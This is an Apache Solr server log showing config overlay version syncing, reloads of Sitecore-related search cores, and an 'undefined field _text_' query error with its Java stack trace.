2020-12-20 08:49:15.824 INFO (qtp401424608-8459) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.S.Request [sitecore_submittals_index_shard1_replica3] webapp=/solr path=/config/znodeVersion params={overlay=865&wt=javabin&version=2} status=0 QTime=2
2020-12-20 08:49:15.824 INFO (SolrConfigHandler-refreshconf) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Another reload is in progress . Not doing anything
2020-12-20 08:49:15.824 INFO (solrHandlerExecutor-11087-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Could not get expectedVersion 865 from http://node3:8983/solr/sitecore_submittals_index_shard1_replica3/ for prop overlay after 1 attempts
2020-12-20 08:49:15.824 INFO (solrHandlerExecutor-11087-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Time elapsed : 0 secs, maxWait 30
2020-12-20 08:49:15.827 INFO (solrHandlerExecutor-11087-thread-2-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Could not get expectedVersion 865 from http://node2:8983/solr/sitecore_submittals_index_shard1_replica2/ for prop overlay after 1 attempts
2020-12-20 08:49:15.827 INFO (solrHandlerExecutor-11087-thread-2-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Time elapsed : 0 secs, maxWait 30
2020-12-20 08:49:15.926 INFO (qtp401424608-9008) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler expecting overlay version 865 but my version is 864
2020-12-20 08:49:15.926 INFO (qtp401424608-9008) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.S.Request [sitecore_submittals_index_shard1_replica3] webapp=/solr path=/config/znodeVersion params={overlay=865&wt=javabin&version=2} status=0 QTime=0
2020-12-20 08:49:15.926 INFO (solrHandlerExecutor-11087-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Could not get expectedVersion 865 from http://node3:8983/solr/sitecore_submittals_index_shard1_replica3/ for prop overlay after 2 attempts
2020-12-20 08:49:15.926 INFO (solrHandlerExecutor-11087-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Time elapsed : 0 secs, maxWait 30
2020-12-20 08:49:15.927 INFO (SolrConfigHandler-refreshconf) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Another reload is in progress . Not doing anything
2020-12-20 08:49:15.931 INFO (solrHandlerExecutor-11087-thread-2-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Could not get expectedVersion 865 from http://node2:8983/solr/sitecore_submittals_index_shard1_replica2/ for prop overlay after 2 attempts
2020-12-20 08:49:15.931 INFO (solrHandlerExecutor-11087-thread-2-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Time elapsed : 0 secs, maxWait 30
2020-12-20 08:49:15.991 INFO (Thread-2161) [ ] o.a.s.s.IndexSchema Loaded schema example-basic/1.6 with uniqueid field _uniqueid
2020-12-20 08:49:15.998 INFO (Thread-2162) [ ] o.a.s.s.IndexSchema Loaded schema example-basic/1.6 with uniqueid field _uniqueid
2020-12-20 08:49:16.029 INFO (qtp401424608-9007) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler expecting overlay version 865 but my version is 864
2020-12-20 08:49:16.029 INFO (qtp401424608-9007) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.S.Request [sitecore_submittals_index_shard1_replica3] webapp=/solr path=/config/znodeVersion params={overlay=865&wt=javabin&version=2} status=0 QTime=0
2020-12-20 08:49:16.029 INFO (SolrConfigHandler-refreshconf) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Another reload is in progress . Not doing anything
2020-12-20 08:49:16.029 INFO (solrHandlerExecutor-11087-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Could not get expectedVersion 865 from http://node3:8983/solr/sitecore_submittals_index_shard1_replica3/ for prop overlay after 3 attempts
2020-12-20 08:49:16.029 INFO (solrHandlerExecutor-11087-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Time elapsed : 0 secs, maxWait 30
2020-12-20 08:49:16.034 INFO (solrHandlerExecutor-11087-thread-2-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Could not get expectedVersion 865 from http://node2:8983/solr/sitecore_submittals_index_shard1_replica2/ for prop overlay after 3 attempts
2020-12-20 08:49:16.034 INFO (solrHandlerExecutor-11087-thread-2-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Time elapsed : 0 secs, maxWait 30
2020-12-20 08:49:16.049 INFO (Thread-2161) [ ] o.a.s.c.CoreContainer Reloading SolrCore 'sitecore_submittals_index_shard1_replica3' using configuration from collection sitecore_submittals_index
2020-12-20 08:49:16.049 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore [[sitecore_submittals_index_shard1_replica3] ] Opening new SolrCore at [/solrdisk/var/data/sitecore_submittals_index_shard1_replica3], dataDir=[/solrdisk/var/data/sitecore_submittals_index_shard1_replica3/data/]
2020-12-20 08:49:16.050 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.r.XSLTResponseWriter xsltCacheLifetimeSeconds=5
2020-12-20 08:49:16.054 INFO (Thread-2162) [ ] o.a.s.c.CoreContainer Reloading SolrCore 'sitecore_company_index_shard1_replica1' using configuration from collection sitecore_company_index
2020-12-20 08:49:16.055 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore [[sitecore_company_index_shard1_replica1] ] Opening new SolrCore at [/solrdisk/var/data/sitecore_company_index_shard1_replica1], dataDir=[/solrdisk/var/data/sitecore_company_index_shard1_replica1/data/]
2020-12-20 08:49:16.056 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.r.XSLTResponseWriter xsltCacheLifetimeSeconds=5
2020-12-20 08:49:16.082 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.u.CommitTracker Hard AutoCommit: if uncommited for 15000ms;
2020-12-20 08:49:16.083 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.u.CommitTracker Hard AutoCommit: if uncommited for 15000ms;
2020-12-20 08:49:16.083 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.u.CommitTracker Soft AutoCommit: disabled
2020-12-20 08:49:16.083 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.u.CommitTracker Soft AutoCommit: disabled
2020-12-20 08:49:16.083 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.SolrIndexSearcher Opening [Searcher@7264f4c3[sitecore_submittals_index_shard1_replica3] main]
2020-12-20 08:49:16.083 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.SolrIndexSearcher Opening [Searcher@25db4f3d[sitecore_company_index_shard1_replica1] main]
2020-12-20 08:49:16.085 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.r.ManagedResourceStorage Configured ZooKeeperStorageIO with znodeBase: /configs/sitecore
2020-12-20 08:49:16.085 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.r.ManagedResourceStorage Configured ZooKeeperStorageIO with znodeBase: /configs/sitecore
2020-12-20 08:49:16.086 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.r.ManagedResourceStorage Loaded null at path _rest_managed.json using ZooKeeperStorageIO:path=/configs/sitecore
2020-12-20 08:49:16.086 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.ZkIndexSchemaReader Creating ZooKeeper watch for the managed schema at /configs/sitecore/managed-schema
2020-12-20 08:49:16.086 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.r.ManagedResourceStorage Loaded null at path _rest_managed.json using ZooKeeperStorageIO:path=/configs/sitecore
2020-12-20 08:49:16.086 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.ZkIndexSchemaReader Creating ZooKeeper watch for the managed schema at /configs/sitecore/managed-schema
2020-12-20 08:49:16.088 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.ZkIndexSchemaReader Current schema version 20 is already the latest
2020-12-20 08:49:16.088 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.c.SpellCheckComponent Initializing spell checkers
2020-12-20 08:49:16.088 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.ZkIndexSchemaReader Current schema version 20 is already the latest
2020-12-20 08:49:16.088 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.h.c.SpellCheckComponent Initializing spell checkers
2020-12-20 08:49:16.088 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.DirectSolrSpellChecker init: {name=default,field=_text_,classname=solr.DirectSolrSpellChecker,distanceMeasure=internal,accuracy=0.5,maxEdits=2,minPrefix=1,maxInspections=5,minQueryLength=4,maxQueryFrequency=0.01}
2020-12-20 08:49:16.088 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.DirectSolrSpellChecker init: {name=default,field=_text_,classname=solr.DirectSolrSpellChecker,distanceMeasure=internal,accuracy=0.5,maxEdits=2,minPrefix=1,maxInspections=5,minQueryLength=4,maxQueryFrequency=0.01}
2020-12-20 08:49:16.092 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.ReplicationHandler Commits will be reserved for 10000
2020-12-20 08:49:16.092 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.h.ReplicationHandler Commits will be reserved for 10000
2020-12-20 08:49:16.092 INFO (searcherExecutor-11088-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.QuerySenderListener QuerySenderListener sending requests to Searcher@7264f4c3[sitecore_submittals_index_shard1_replica3] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_0(6.6.6):C28)))}
2020-12-20 08:49:16.092 INFO (searcherExecutor-11088-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.QuerySenderListener QuerySenderListener done.
2020-12-20 08:49:16.092 INFO (searcherExecutor-11088-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.c.SpellCheckComponent Loading spell index for spellchecker: default
2020-12-20 08:49:16.092 INFO (searcherExecutor-11088-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore [sitecore_submittals_index_shard1_replica3] Registered new searcher Searcher@7264f4c3[sitecore_submittals_index_shard1_replica3] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_0(6.6.6):C28)))}
2020-12-20 08:49:16.092 INFO (searcherExecutor-11089-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.QuerySenderListener QuerySenderListener sending requests to Searcher@25db4f3d[sitecore_company_index_shard1_replica1] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_5(6.6.6):C11387)))}
2020-12-20 08:49:16.092 INFO (searcherExecutor-11089-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.QuerySenderListener QuerySenderListener done.
2020-12-20 08:49:16.092 INFO (searcherExecutor-11089-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.h.c.SpellCheckComponent Loading spell index for spellchecker: default
2020-12-20 08:49:16.092 INFO (searcherExecutor-11089-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore [sitecore_company_index_shard1_replica1] Registered new searcher Searcher@25db4f3d[sitecore_company_index_shard1_replica1] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_5(6.6.6):C11387)))}
2020-12-20 08:49:16.096 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.u.DefaultSolrCoreState New IndexWriter is ready to be used.
2020-12-20 08:49:16.096 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.u.DefaultSolrCoreState New IndexWriter is ready to be used.
2020-12-20 08:49:16.097 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.SolrIndexSearcher Opening [Searcher@3feae6d0[sitecore_submittals_index_shard1_replica3] main]
2020-12-20 08:49:16.097 INFO (searcherExecutor-11088-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.QuerySenderListener QuerySenderListener sending requests to Searcher@3feae6d0[sitecore_submittals_index_shard1_replica3] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_0(6.6.6):C28)))}
2020-12-20 08:49:16.097 INFO (searcherExecutor-11088-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.QuerySenderListener QuerySenderListener done.
2020-12-20 08:49:16.097 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore config update listener called for core sitecore_company_index_shard1_replica1
2020-12-20 08:49:16.097 INFO (searcherExecutor-11088-thread-1-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore [sitecore_submittals_index_shard1_replica3] Registered new searcher Searcher@3feae6d0[sitecore_submittals_index_shard1_replica3] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_0(6.6.6):C28)))}
2020-12-20 08:49:16.098 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.SolrIndexSearcher Opening [Searcher@2988489d[sitecore_company_index_shard1_replica1] main]
2020-12-20 08:49:16.098 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore [sitecore_company_index_shard1_replica1] CLOSING SolrCore org.apache.solr.core.SolrCore@260af835<ma...@260af835>
2020-12-20 08:49:16.098 INFO (searcherExecutor-11089-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.QuerySenderListener QuerySenderListener sending requests to Searcher@2988489d[sitecore_company_index_shard1_replica1] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_5(6.6.6):C11387)))}
2020-12-20 08:49:16.098 INFO (searcherExecutor-11089-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.QuerySenderListener QuerySenderListener done.
2020-12-20 08:49:16.098 INFO (searcherExecutor-11089-thread-1-processing-n:node3:8983_solr x:sitecore_company_index_shard1_replica1 s:shard1 c:sitecore_company_index r:core_node2) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore [sitecore_company_index_shard1_replica1] Registered new searcher Searcher@2988489d[sitecore_company_index_shard1_replica1] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_5(6.6.6):C11387)))}
2020-12-20 08:49:16.098 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.m.SolrMetricManager Closing metric reporters for: solr.core.sitecore_company_index.shard1.replica1
2020-12-20 08:49:16.098 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore config update listener called for core sitecore_web_index_shard1_replica2
2020-12-20 08:49:16.099 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore core reload sitecore_company_index_shard1_replica1
2020-12-20 08:49:16.099 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrCore core reload sitecore_web_index_shard1_replica2
2020-12-20 08:49:16.112 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.RequestParams conf resource params.json loaded . version : 0
2020-12-20 08:49:16.112 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.RequestParams request params refreshed to version 0
2020-12-20 08:49:16.113 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.RequestParams conf resource params.json loaded . version : 0
2020-12-20 08:49:16.113 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.RequestParams request params refreshed to version 0
2020-12-20 08:49:16.114 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrResourceLoader [sitecore_company_index_shard1_replica1] Added 53 libs to classloader, from paths: [/opt/solr/contrib/clustering/lib, /opt/solr/contrib/extraction/lib, /opt/solr/contrib/langid/lib, /opt/solr/contrib/velocity/lib, /opt/solr/dist]
2020-12-20 08:49:16.114 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrResourceLoader [sitecore_web_index_shard1_replica2] Added 53 libs to classloader, from paths: [/opt/solr/contrib/clustering/lib, /opt/solr/contrib/extraction/lib, /opt/solr/contrib/langid/lib, /opt/solr/contrib/velocity/lib, /opt/solr/dist]
2020-12-20 08:49:16.132 INFO (qtp401424608-8687) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler I already have the expected version 865 of config
2020-12-20 08:49:16.132 INFO (qtp401424608-8687) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler isStale false , resourceloader org.apache.solr.cloud.ZkSolrResourceLoader
2020-12-20 08:49:16.132 INFO (qtp401424608-8687) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.S.Request [sitecore_submittals_index_shard1_replica3] webapp=/solr path=/config/znodeVersion params={overlay=865&wt=javabin&version=2} status=0 QTime=0
2020-12-20 08:49:16.137 INFO (solrHandlerExecutor-11087-thread-2-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Could not get expectedVersion 865 from http://node2:8983/solr/sitecore_submittals_index_shard1_replica2/ for prop overlay after 4 attempts
2020-12-20 08:49:16.137 INFO (solrHandlerExecutor-11087-thread-2-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Time elapsed : 0 secs, maxWait 30
2020-12-20 08:49:16.151 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrConfig Using Lucene MatchVersion: 6.6.6
2020-12-20 08:49:16.165 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.c.SolrConfig Using Lucene MatchVersion: 6.6.6
2020-12-20 08:49:16.181 INFO (Thread-2161) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.s.IndexSchema [sitecore_company_index_shard1_replica1] Schema name=example-basic
2020-12-20 08:49:16.221 INFO (Thread-2162) [c:sitecore_company_index s:shard1 r:core_node2 x:sitecore_company_index_shard1_replica1] o.a.s.s.IndexSchema [sitecore_web_index_shard1_replica2] Schema name=example-basic
2020-12-20 08:49:16.248 INFO (solrHandlerExecutor-11087-thread-2-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Could not get expectedVersion 865 from http://node2:8983/solr/sitecore_submittals_index_shard1_replica2/ for prop overlay after 5 attempts
2020-12-20 08:49:16.248 INFO (solrHandlerExecutor-11087-thread-2-processing-n:node3:8983_solr x:sitecore_submittals_index_shard1_replica3 s:shard1 c:sitecore_submittals_index r:core_node1) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Time elapsed : 0 secs, maxWait 30
2020-12-20 08:49:16.567 INFO (qtp401424608-8194) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.SolrConfigHandler Took 848.0ms to set the property overlay to be of version 865 for collection sitecore_submittals_index
2020-12-20 08:49:16.568 INFO (qtp401424608-8194) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.S.Request [sitecore_submittals_index_shard1_replica3] webapp=/solr path=/config params={wt=json} status=0 QTime=871
2020-12-20 08:49:16.568 INFO (qtp401424608-8194) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.SolrCore [sitecore_submittals_index_shard1_replica3] CLOSING SolrCore org.apache.solr.core.SolrCore@557624ab<ma...@557624ab>
2020-12-20 08:49:16.568 INFO (qtp401424608-8194) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.m.SolrMetricManager Closing metric reporters for: solr.core.sitecore_submittals_index.shard1.replica3
2020-12-20 08:49:16.573 ERROR (qtp401424608-8613) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.h.RequestHandlerBase org.apache.solr.common.SolrException: undefined field _text_
at org.apache.solr.schema.IndexSchema.getDynamicFieldType(IndexSchema.java:1328)
at org.apache.solr.schema.IndexSchema$SolrQueryAnalyzer.getWrappedAnalyzer(IndexSchema.java:455)
at org.apache.lucene.analysis.DelegatingAnalyzerWrapper$DelegatingReuseStrategy.getReusableComponents(DelegatingAnalyzerWrapper.java:84)
at org.apache.lucene.analysis.Analyzer.tokenStream(Analyzer.java:191)
at org.apache.lucene.util.QueryBuilder.createFieldQuery(QueryBuilder.java:241)
at org.apache.solr.parser.SolrQueryParserBase.newFieldQuery(SolrQueryParserBase.java:444)
at org.apache.solr.parser.QueryParser.newFieldQuery(QueryParser.java:61)
at org.apache.solr.parser.SolrQueryParserBase.getFieldQuery(SolrQueryParserBase.java:970)
at org.apache.solr.parser.SolrQueryParserBase.handleBareTokenQuery(SolrQueryParserBase.java:697)
at org.apache.solr.parser.QueryParser.Term(QueryParser.java:420)
at org.apache.solr.parser.QueryParser.Clause(QueryParser.java:277)
at org.apache.solr.parser.QueryParser.Query(QueryParser.java:161)
at org.apache.solr.parser.QueryParser.TopLevelQuery(QueryParser.java:130)
at org.apache.solr.parser.SolrQueryParserBase.parse(SolrQueryParserBase.java:211)
at org.apache.solr.search.LuceneQParser.parse(LuceneQParser.java:53)
at org.apache.solr.search.QParser.getQuery(QParser.java:168)
at org.apache.solr.handler.component.QueryComponent.prepare(QueryComponent.java:161)
at org.apache.solr.handler.component.SearchHandler.handleRequestBody(SearchHandler.java:270)
at org.apache.solr.handler.RequestHandlerBase.handleRequest(RequestHandlerBase.java:173)
at org.apache.solr.core.SolrCore.execute(SolrCore.java:2477)
at org.apache.solr.servlet.HttpSolrCall.execute(HttpSolrCall.java:724)
at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:530)
at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:361)
at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:305)
